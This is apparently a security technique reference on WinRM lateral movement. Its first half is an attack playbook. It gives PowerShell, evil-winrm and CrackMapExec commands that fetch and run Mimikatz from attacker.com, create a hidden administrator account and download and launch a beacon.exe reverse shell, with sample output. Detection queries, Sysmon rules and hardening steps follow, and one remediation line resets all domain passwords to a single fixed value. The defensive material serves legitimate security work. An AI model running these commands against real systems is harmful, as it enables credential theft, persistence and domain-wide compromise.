| Attribute | Details |
|---|---|
| Technique ID | LM-REMOTE-004 |
| MITRE ATT&CK v18.1 | T1021.006 |
| Tactic | Lateral Movement |
| Platforms | Windows Endpoint |
| Severity | High |
| CVE | N/A (Inherent Windows functionality; vulnerabilities: CVE-2012-3458, CVE-2021-28440) |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | Windows Server 2012-2025, Windows 8.1+ |
| Patched In | N/A - Feature not removed; mitigations via policy |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Windows Remote Management (WinRM) is a Microsoft implementation of the WS-Management protocol enabling remote command execution and script execution across Windows systems. Attackers with valid domain credentials can execute arbitrary PowerShell commands remotely on target systems via WinRM, bypassing traditional firewall boundaries and leaving minimal disk artifacts. WinRM is privileged lateral movement vector because: (1) It’s enabled by default on Windows Server 2012+ via Group Policy, (2) PowerShell execution via WinRM is difficult to detect, (3) It’s trusted by enterprise security teams as administrative infrastructure, and (4) It integrates seamlessly with Active Directory for authentication.
Attack Surface: WinRM protocol (HTTP/HTTPS over ports 5985/5986), PowerShell Remoting (PSRemoting), WS-Management protocol, SOAP/XML message queue, Active Directory credentials, WinRM session management.
Business Impact: Critical—Remote PowerShell execution across domain. An attacker with domain credentials can: (1) Execute arbitrary PowerShell scripts remotely (in-memory, minimal artifacts), (2) Dump credentials from remote systems via WinRM + Mimikatz, (3) Establish persistent backdoors via scheduled tasks or WinRM session manipulation, (4) Exfiltrate data via PowerShell OneNote/Teams commands, and (5) Move laterally across the entire domain with script execution.
Technical Context: WinRM execution is near-instantaneous and leaves minimal artifacts on disk (execution is purely in-memory within PowerShell.exe context). Detection relies heavily on: (1) WinRM session auditing (Event ID 91, 92 - rarely enabled), (2) PowerShell Script Block Logging (requires registry modification), and (3) EDR/endpoint monitoring. Many organizations have zero visibility into WinRM lateral movement.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS 18.9.85.1 | Disable WinRM on non-server systems; enable auditing |
| DISA STIG | WN10-CC-000255 | Disable PowerShell Remoting on non-server workstations |
| NIST 800-53 | AC-6 (Least Privilege), AU-2 (Audit Events), SI-4 (System Monitoring) | Restrict WinRM access; enable comprehensive auditing |
| GDPR | Art. 32 | Security of Processing—WinRM activity must be logged and monitored |
| NIS2 | Art. 21 | Cyber Risk Management—monitor and restrict remote code execution |
| ISO 27001 | A.6.2 (Access to Networks), A.12.4.1 (Event Logging) | Restrict WinRM to authorized admins; audit all usage |
| ISO 27005 | Risk Scenario: “Unauthorized Remote Script Execution via WinRM” | Detect and contain WinRM-based lateral movement |
Supported Versions:
Tools Required:
Supported Versions: Windows Server 2012-2025, PowerShell 3.0+
Objective: Confirm WinRM is listening and accessible.
Command (PowerShell - from compromised system):
# Test WinRM connectivity
Test-WSMan -ComputerName target.local
# Expected output: WSManFault
# If error: "WinRM service is not responding", WinRM is disabled or inaccessible
Expected Output (If WinRM is enabled):
wsmid : http://schemas.dmtf.org/wbem/wscim/1/common
ProtocolVersion : http://schemas.dmtf.org/wbem/wscim/1/protocol
ProductVendor : Microsoft Corporation
ProductVersion : OS: 10.0.19041 SP: 0.0 Stack: 3.0
Expected Output (If WinRM is disabled):
Test-WSMan : <f:WSManFault xmlns:f="http://schemas.dmtf.org/wbem/wscim/1/fault">
The WinRM service is not responding.
What This Means:
Objective: Execute arbitrary PowerShell command on remote system.
Command (PowerShell):
# Define credentials
$Username = "DOMAIN\user"
$Password = "Password123!" | ConvertTo-SecureString -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential($Username, $Password)
# Execute command on remote system
Invoke-Command -ComputerName target.local -Credential $Credential -ScriptBlock {whoami}
# Alternative: Interactive session
$Session = New-PSSession -ComputerName target.local -Credential $Credential
Invoke-Command -Session $Session -ScriptBlock {Get-LocalUser; Get-NetIPAddress}
Expected Output:
DOMAIN\system
WARNING: For security reasons, the host key of the remote computer should be verified
before first use.
DOMAIN\system
What This Means:
OpSec & Evasion:
Objective: Execute Mimikatz remotely to dump credentials from target system.
Command (PowerShell):
# Download Mimikatz payload in-memory
$Payload = (New-Object System.Net.WebClient).DownloadString("http://attacker.com/mimikatz.ps1")
# Execute via Invoke-Command
Invoke-Command -ComputerName target.local -Credential $Credential -ScriptBlock {
$Payload | IEX # IEX = Invoke-Expression; execute downloaded payload
}
# Alternative: Execute local Mimikatz binary
Invoke-Command -ComputerName target.local -Credential $Credential -ScriptBlock {
&"C:\Windows\Temp\mimikatz.exe" 'privilege::debug' 'sekurlsa::logonpasswords'
}
Expected Output:
Mimikatz output (hashes, plaintext passwords, tickets, etc.)
What This Means:
Supported Versions: Windows Server 2012-2025 (attacked from Linux)
Objective: Prepare Linux-based WinRM exploitation framework.
Command (Linux - Ubuntu/Debian):
# Clone Evil-WinRM repository
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
# Install Ruby dependencies
sudo apt-get install ruby-full ruby-dev
gem install evil-winrm
# Verify installation
evil-winrm --version
Expected Output:
EVIL-WinRM 4.3.1
What This Means:
Objective: Create authenticated WinRM session to Windows target.
Command (Linux):
# Connect to target WinRM
evil-winrm -i 192.168.1.10 -u DOMAIN\\user -p Password123!
# With Kerberos ticket (if compromised AD user)
evil-winrm -i 192.168.1.10 -u DOMAIN\\user --kerberos
# Specify realm/domain
evil-winrm -i 192.168.1.10 -u user -p password -d DOMAIN
# Custom WinRM port (e.g., 5986 for HTTPS)
evil-winrm -i 192.168.1.10 -u DOMAIN\\user -p Password123! -s /path/to/cert.pem
Expected Output:
[*] Evil-WinRM (4.3.1)
[*] User: DOMAIN\user
[*] Target IP: 192.168.1.10
[*] Port: 5985
[+] Logged in successfully!
*Evil-WinRM* PS >
What This Means:
Objective: Run Mimikatz or other payload via WinRM session.
Command (Evil-WinRM prompt):
# Once connected via evil-winrm, execute commands interactively
PS > whoami
DOMAIN\system
PS > Get-LocalUser
Administrator
Guest
DefaultAccount
PS > New-LocalUser -Name backdoor -Password (ConvertTo-SecureString "Secure123!" -AsPlainText -Force) -Description "Backdoor Account"
# Creates new user account for persistence
PS > Add-LocalGroupMember -Group "Administrators" -Member "backdoor"
# Adds user to admin group
PS > Invoke-WebRequest -Uri "http://attacker.com/beacon.exe" -OutFile "C:\Windows\Temp\beacon.exe"
PS > & "C:\Windows\Temp\beacon.exe"
# Downloads and executes reverse shell
Expected Output:
backdoor user created
Group membership updated
Beacon connection established
What This Means:
Supported Versions: Windows Server 2012-2025
Objective: Identify targets with WinRM enabled and accessible.
Command (Linux):
# Enumerate WinRM services on network
cme winrm 192.168.1.0/24 -u user -p password -d DOMAIN --shares
# Or scan for WinRM port (5985/5986)
nmap -p 5985,5986 192.168.1.0/24 -v
Expected Output:
WINRM 192.168.1.10 5985 SERVER01 [*] Windows Server 2019 Enterprise (build:17763)
WINRM 192.168.1.10 5985 SERVER01 [+] DOMAIN\user (Pwn3d!)
What This Means:
Objective: Execute PowerShell commands across all WinRM-enabled targets.
Command (Linux):
# Execute whoami on all targets
cme winrm 192.168.1.0/24 -u user -p password -d DOMAIN -x 'whoami'
# Execute Mimikatz dump
cme winrm 192.168.1.0/24 -u user -p password -d DOMAIN -x 'Invoke-Expression (New-Object Net.WebClient).DownloadString("http://attacker.com/Invoke-Mimikatz.ps1")'
# Execute with specific script
cme winrm 192.168.1.10 -u user -p password -d DOMAIN -x 'Get-ADUser -Filter * -Properties *'
Expected Output:
WINRM 192.168.1.10 5985 SERVER01 [+] Executed command
domain\system
What This Means:
Documentation: Microsoft Learn - Invoke-Command
Usage:
# Simple command execution
Invoke-Command -ComputerName target.local -ScriptBlock {whoami}
# With credentials
$Credential = Get-Credential
Invoke-Command -ComputerName target.local -Credential $Credential -ScriptBlock {whoami}
# Multiple targets
Invoke-Command -ComputerName server1, server2, server3 -ScriptBlock {whoami}
# With script file
Invoke-Command -ComputerName target.local -FilePath C:\script.ps1
# With arguments
Invoke-Command -ComputerName target.local -ScriptBlock {param($username) Get-ADUser $username} -ArgumentList "admin"
# Session-based (persistent)
$Session = New-PSSession -ComputerName target.local
Invoke-Command -Session $Session -ScriptBlock {whoami}
Repository: GitHub - Hackplayers/evil-winrm
Installation (Linux):
gem install evil-winrm
# Or from source
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
gem install bundler
bundle install
Usage:
# Basic connection
evil-winrm -i 192.168.1.10 -u user -p password -d DOMAIN
# With certificate (HTTPS)
evil-winrm -i 192.168.1.10 -u user -p password -d DOMAIN -S
# Specify certificate file
evil-winrm -i 192.168.1.10 -u user -p password -c /path/to/cert.pem -k /path/to/key.pem
# With Kerberos ticket
evil-winrm -i 192.168.1.10 --kerberos
# Upload files
upload /local/file C:\remote\file
# Download files
download C:\remote\file /local/file
Repository: GitHub - byt3bl33d3r/CrackMapExec
Usage:
# Enumerate WinRM
cme winrm 192.168.1.0/24 -u user -p password
# Execute command
cme winrm 192.168.1.10 -u user -p password -d DOMAIN -x 'command'
# Execute PowerShell script
cme winrm 192.168.1.10 -u user -p password -x 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(...)"'
# Dump credentials via Mimikatz
cme winrm 192.168.1.10 -u user -p password -x 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(\"http://attacker.com/Invoke-Mimikatz.ps1\"); Invoke-Mimikatz"'
Primary Event IDs:
| Event ID | Source | What It Detects | Detection Difficulty |
|---|---|---|---|
| 91 | Microsoft-Windows-WinRM/Operational | WinRM session created | Medium |
| 92 | Microsoft-Windows-WinRM/Operational | WinRM session closed | Medium |
| 4688 | Security | Process creation (powershell.exe) | Low |
| 4103 | Microsoft-Windows-PowerShell/Operational | PowerShell command execution | High (requires registry mod) |
| 4104 | Microsoft-Windows-PowerShell/Operational | PowerShell Script Block Logging | High (requires registry mod) |
| 5140 | Security | Network share access (SMB) | Medium |
Manual Configuration Steps (Enable WinRM Auditing):
gpupdate /forceManual Configuration Steps (Enable PowerShell Script Block Logging):
# Enable via Registry
New-Item -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Force
New-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1 -PropertyType DWord
Get-EventLog -LogName "Windows PowerShell" | Where-Object {$_.EventID -eq 4104} | Format-Table TimeGenerated, Message
Detection Query (WinRM Session Creation):
# Find WinRM sessions
Get-WinEvent -LogName "Microsoft-Windows-WinRM/Operational" -FilterXPath "*[System[EventID=91 or EventID=92]]" | Select-Object TimeCreated, ID, Message | Format-Table
Rule Configuration:
KQL Query:
SecurityEvent
| where EventID == 4688 // Process creation
| where Process has_any ("powershell.exe", "pwsh.exe")
| where CommandLine has_any ("Invoke-Command", "New-PSSession", "Enter-PSSession")
| where CommandLine has_any ("ComputerName", "-i ", "target")
| summarize Count=count() by Computer, Account, Process, CommandLine
| where Count > 0
| project Computer, Account, Process, CommandLine
What This Detects:
Manual Configuration Steps (Azure Portal):
WinRM Remote Command ExecutionHigh10 minutes30 minutesRule Configuration:
KQL Query:
Event
| where Source == "Microsoft-Windows-WinRM" and (EventID == 91 or EventID == 92)
| summarize SessionCount=count() by Computer, UserName
| where SessionCount > 10 // Threshold for potential sweep
| project Computer, UserName, SessionCount
What This Detects:
Minimum Sysmon Version: 13.0+
Config Snippet:
<!-- Detect WinRM/PowerShell Remoting lateral movement -->
<RuleGroup name="WinRM Lateral Movement" groupRelation="or">
<!-- Detect PowerShell with remote session parameters -->
<ProcessCreate onmatch="include">
<Image condition="contains">powershell.exe</Image>
<CommandLine condition="contains any">Invoke-Command, New-PSSession, Enter-PSSession</CommandLine>
</ProcessCreate>
<!-- Detect WinRM service spawning PowerShell -->
<ProcessCreate onmatch="include">
<ParentImage condition="contains">svchost.exe</ParentImage>
<ParentCommandLine condition="contains">WinRM</ParentCommandLine>
<Image condition="contains">powershell.exe</Image>
</ProcessCreate>
<!-- Detect evil-winrm or similar tools -->
<ProcessCreate onmatch="include">
<Image condition="contains any">evil-winrm, winrm-ps</Image>
</ProcessCreate>
<!-- Detect network connections to WinRM ports -->
<NetworkConnect onmatch="include">
<DestinationPort>5985</DestinationPort>
<DestinationPort>5986</DestinationPort>
</NetworkConnect>
</RuleGroup>
Manual Configuration Steps:
sysmon-winrm-config.xml with config abovesysmon64.exe -accepteula -i sysmon-winrm-config.xml
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object {$_.Message -match "powershell|WinRM"} | Select-Object TimeCreated, Message | Head -20
Disable WinRM on Non-Server Systems:
Manual Steps (Group Policy):
gpupdate /forceManual Steps (Registry - Local Policy):
# Disable WinRM service
Stop-Service WinRM -Force
Set-Service WinRM -StartupType Disabled
# Verify
Get-Service WinRM | Select-Object Status, StartType
Verification:
# Check WinRM status
Get-Service WinRM
# Should return: Stopped, Disabled
Enforce Authentication & Encryption:
Manual Steps (Group Policy):
gpupdate /forceManual Steps (Registry):
# Force HTTPS/TLS encryption
Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\WinRM\Service" -Name "AllowBasic" -Value 0
Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\WinRM\Service" -Name "AllowUnencryptedTraffic" -Value 0
Restrict WinRM Access via Firewall:
Manual Steps (Firewall Rules):
# Block WinRM from non-administrative systems
New-NetFirewallRule -DisplayName "Block WinRM (5985)" -Direction Inbound -Action Block -Protocol TCP -LocalPort 5985 -Enabled:$true
New-NetFirewallRule -DisplayName "Block WinRM (5986)" -Direction Inbound -Action Block -Protocol TCP -LocalPort 5986 -Enabled:$true
# Allow only from admin workstations (optional)
New-NetFirewallRule -DisplayName "Allow WinRM from Admins" -Direction Inbound -Action Allow -Protocol TCP -LocalPort 5985 `
-RemoteAddress "192.168.1.100,192.168.1.101" -Enabled:$true
Enable PowerShell Script Block Logging:
Manual Steps (Registry):
# Enable Script Block Logging
New-Item -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Force | Out-Null
New-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" `
-Name "EnableScriptBlockLogging" -Value 1 -PropertyType DWord -Force
# Enable Module Logging
New-Item -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Force | Out-Null
New-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" `
-Name "EnableModuleLogging" -Value 1 -PropertyType DWord -Force
Implement Constrained Language Mode (PowerShell):
Manual Steps (Group Policy):
gpupdate /forceVerification:
# Check Language Mode
$ExecutionContext.SessionState.LanguageMode
# Should return: ConstrainedLanguage
Deploy Just-In-Time (JIT) Admin Access:
Manual Steps (Azure PIM):
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging (Script Block Logging status)HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit (Audit policies)C:\Windows\System32\winevt\Logs\Microsoft-Windows-WinRM-Operational.evtxIsolate System:
Command (PowerShell):
# Stop WinRM service
Stop-Service WinRM -Force
Set-Service WinRM -StartupType Disabled
# Or disconnect from network
Disable-NetAdapter -Name "Ethernet" -Confirm:$false
Collect Evidence:
Command (PowerShell):
# Export WinRM operational logs
wevtutil epl "Microsoft-Windows-WinRM/Operational" C:\Evidence\WinRM.evtx
# Export PowerShell logs
wevtutil epl "Microsoft-Windows-PowerShell/Operational" C:\Evidence\PowerShell.evtx
# Get WinRM configuration
Get-WSManInstance -ResourceURI winrm/config | Export-Csv C:\Evidence\WinRM_Config.csv
# List active sessions
Get-PSSession | Export-Csv C:\Evidence\PSSessions.csv
Remediate:
Command (PowerShell):
# Kill all PowerShell sessions
Get-Process powershell | Stop-Process -Force
# Reset WinRM to default configuration
winrm quickconfig -quiet
# Reset all user passwords
Get-ADUser -Filter * | Set-ADAccountPassword -NewPassword (ConvertTo-SecureString "NewPassword!" -AsPlainText -Force) -Reset
# Check for persistence
Get-ScheduledTask | Where-Object {$_.State -eq "Ready"} | Select-Object TaskName, TaskPath, Actions
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [REC-AD-003] PowerView enumeration | Enumerate domain systems and administrators |
| 2 | Credential Access | [CA-DUMP-001] Mimikatz LSASS dump | Extract domain admin credentials |
| 3 | Lateral Movement | [LM-REMOTE-004] WinRM | Use credentials to execute PowerShell via WinRM |
| 4 | Privilege Escalation | [PE-VALID-001] Exchange ACL abuse | Escalate to Domain Admin via ACL manipulation |
| 5 | Impact | [IMPACT-RANSOM-001] Ransomware deployment | Deploy ransomware across domain via WinRM |